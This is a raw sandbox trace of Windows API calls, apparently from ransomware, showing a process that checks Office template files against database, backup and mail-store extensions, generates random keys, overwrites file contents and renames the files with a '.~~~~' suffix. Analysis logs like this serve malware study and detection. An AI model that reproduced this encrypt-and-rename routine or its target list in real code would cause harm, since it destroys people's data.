	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DTXS") returned 0x0
	[0144.117] lstrlenW (lpString=".ckp") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".ckp") returned 0x0
	[0144.117] lstrlenW (lpString=".dbt") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dbt") returned 0x0
	[0144.117] lstrlenW (lpString=".db") returned 3
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".db") returned 0x0
	[0144.117] lstrlenW (lpString=".TXT") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".TXT") returned 0x0
	[0144.117] lstrlenW (lpString=".MDF") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".MDF") returned 0x0
	[0144.117] lstrlenW (lpString=".bdb") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".bdb") returned 0x0
	[0144.117] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.118] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.119] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.120] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26410990538) returned 1
	[0144.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf4db930, dwHighDateTime=0x1d60e1e)) 
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2780
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2780 | out: hHeap=0x300000) returned 1
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.121] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.121] GetLastError () returned 0x0
	[0144.122] GetLastError () returned 0x0
	[0144.122] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.122] GetLastError () returned 0x0
	[0144.122] GetLastError () returned 0x0
	[0144.122] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x39aa, lpOverlapped=0x0) returned 1
	[0144.126] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc656, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.126] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x39aa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x39aa, lpOverlapped=0x0) returned 1
	[0144.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.126] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.126] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.126] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.126] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.126] CloseHandle (hObject=0x138) returned 1
	[0144.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac9b0
	[0144.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn.~~~~")) returned 1
	[0144.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.129] GetLastError () returned 0x0
	[0144.129] RtlWakeConditionVariable () returned 0x0
	[0144.129] GetCurrentThreadId () returned 0x3a4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".scr") returned 0x0
	[0144.129] lstrlenW (lpString=".cmd") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".cmd") returned 0x0
	[0144.129] lstrlenW (lpString=".dll") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dll") returned 0x0
	[0144.129] lstrlenW (lpString=".bat") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".bat") returned 0x0
	[0144.129] lstrlenW (lpString=".cpl") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".cpl") returned 0x0
	[0144.129] lstrlenW (lpString=".sys") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".sys") returned 0x0
	[0144.129] lstrlenW (lpString=".msc") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".msc") returned 0x0
	[0144.129] lstrlenW (lpString=".com") returned 4
	[0144.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".com") returned 0x0
	[0144.130] lstrlenW (lpString=".lnk") returned 4
	[0144.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".lnk") returned 0x0
	[0144.130] lstrlenW (lpString=".msp") returned 4
	[0144.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".msp") returned 0x0
	[0144.130] lstrlenW (lpString=".pif") returned 4
	[0144.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".pif") returned 0x0
	[0144.130] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch="msp\r\n.pif") returned 0x0
	[0144.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.131] lstrlenW (lpString=".sqb") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".sqb") returned 0x0
	[0144.132] lstrlenW (lpString=".ost") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".ost") returned 0x0
	[0144.132] lstrlenW (lpString=".txt") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".txt") returned 0x0
	[0144.132] lstrlenW (lpString=".mdt") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".mdt") returned 0x0
	[0144.132] lstrlenW (lpString=".BDB") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".BDB") returned 0x0
	[0144.132] lstrlenW (lpString=".eql") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".eql") returned 0x0
	[0144.132] lstrlenW (lpString=".DBF") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DBF") returned 0x0
	[0144.132] lstrlenW (lpString=".EQL") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".EQL") returned 0x0
	[0144.132] lstrlenW (lpString=".FDB") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".FDB") returned 0x0
	[0144.132] lstrlenW (lpString=".EDB") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".EDB") returned 0x0
	[0144.132] lstrlenW (lpString=".DACPAC") returned 7
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DACPAC") returned 0x0
	[0144.132] lstrlenW (lpString=".VHD") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".VHD") returned 0x0
	[0144.132] lstrlenW (lpString=".DBV") returned 4
	[0144.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DBV") returned 0x0
	[0144.132] lstrlenW (lpString=".dacpac") returned 7
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dacpac") returned 0x0
	[0144.133] lstrlenW (lpString=".sdf") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".sdf") returned 0x0
	[0144.133] lstrlenW (lpString=".accdb") returned 6
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".accdb") returned 0x0
	[0144.133] lstrlenW (lpString=".DBX") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DBX") returned 0x0
	[0144.133] lstrlenW (lpString=".MDT") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".MDT") returned 0x0
	[0144.133] lstrlenW (lpString=".SQB") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".SQB") returned 0x0
	[0144.133] lstrlenW (lpString=".vhd") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".vhd") returned 0x0
	[0144.133] lstrlenW (lpString=".bac") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".bac") returned 0x0
	[0144.133] lstrlenW (lpString=".mdf") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".mdf") returned 0x0
	[0144.133] lstrlenW (lpString=".BAK") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".BAK") returned 0x0
	[0144.133] lstrlenW (lpString=".BAC") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".BAC") returned 0x0
	[0144.133] lstrlenW (lpString=".dbs") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dbs") returned 0x0
	[0144.133] lstrlenW (lpString=".vhdx") returned 5
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".vhdx") returned 0x0
	[0144.133] lstrlenW (lpString=".NDF") returned 4
	[0144.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".NDF") returned 0x0
	[0144.134] lstrlenW (lpString=".dat") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dat") returned 0x0
	[0144.134] lstrlenW (lpString=".DBS") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DBS") returned 0x0
	[0144.134] lstrlenW (lpString=".CKP") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".CKP") returned 0x0
	[0144.134] lstrlenW (lpString=".edb") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".edb") returned 0x0
	[0144.134] lstrlenW (lpString=".PST") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".PST") returned 0x0
	[0144.134] lstrlenW (lpString=".dbf") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dbf") returned 0x0
	[0144.134] lstrlenW (lpString=".SQL") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".SQL") returned 0x0
	[0144.134] lstrlenW (lpString=".pst") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".pst") returned 0x0
	[0144.134] lstrlenW (lpString=".dbv") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dbv") returned 0x0
	[0144.134] lstrlenW (lpString=".SDF") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".SDF") returned 0x0
	[0144.134] lstrlenW (lpString=".dtxs") returned 5
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dtxs") returned 0x0
	[0144.134] lstrlenW (lpString=".db3") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".db3") returned 0x0
	[0144.134] lstrlenW (lpString=".OST") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".OST") returned 0x0
	[0144.134] lstrlenW (lpString=".dbx") returned 4
	[0144.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dbx") returned 0x0
	[0144.134] lstrlenW (lpString=".DB3") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DB3") returned 0x0
	[0144.135] lstrlenW (lpString=".DAT") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DAT") returned 0x0
	[0144.135] lstrlenW (lpString=".VHDX") returned 5
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".VHDX") returned 0x0
	[0144.135] lstrlenW (lpString=".ndf") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".ndf") returned 0x0
	[0144.135] lstrlenW (lpString=".DB") returned 3
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DB") returned 0x0
	[0144.135] lstrlenW (lpString=".sql") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".sql") returned 0x0
	[0144.135] lstrlenW (lpString=".MYD") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".MYD") returned 0x0
	[0144.135] lstrlenW (lpString=".DBT") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DBT") returned 0x0
	[0144.135] lstrlenW (lpString=".ACCDB") returned 6
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".ACCDB") returned 0x0
	[0144.135] lstrlenW (lpString=".fdb") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".fdb") returned 0x0
	[0144.135] lstrlenW (lpString=".bak") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".bak") returned 0x0
	[0144.135] lstrlenW (lpString=".myd") returned 4
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".myd") returned 0x0
	[0144.135] lstrlenW (lpString=".DTXS") returned 5
	[0144.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".DTXS") returned 0x0
	[0144.135] lstrlenW (lpString=".ckp") returned 4
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".ckp") returned 0x0
	[0144.136] lstrlenW (lpString=".dbt") returned 4
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".dbt") returned 0x0
	[0144.136] lstrlenW (lpString=".db") returned 3
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".db") returned 0x0
	[0144.136] lstrlenW (lpString=".TXT") returned 4
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".TXT") returned 0x0
	[0144.136] lstrlenW (lpString=".MDF") returned 4
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".MDF") returned 0x0
	[0144.136] lstrlenW (lpString=".bdb") returned 4
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".bdb") returned 0x0
	[0144.136] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.136] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.138] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.138] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26412843423) returned 1
	[0144.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf527bf0, dwHighDateTime=0x1d60e1e)) 
	[0144.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b27b8
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27b8 | out: hHeap=0x300000) returned 1
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.139] GetLastError () returned 0x0
	[0144.140] GetLastError () returned 0x0
	[0144.140] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.140] GetLastError () returned 0x0
	[0144.140] GetLastError () returned 0x0
	[0144.140] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x482d, lpOverlapped=0x0) returned 1
	[0144.173] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb7d3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
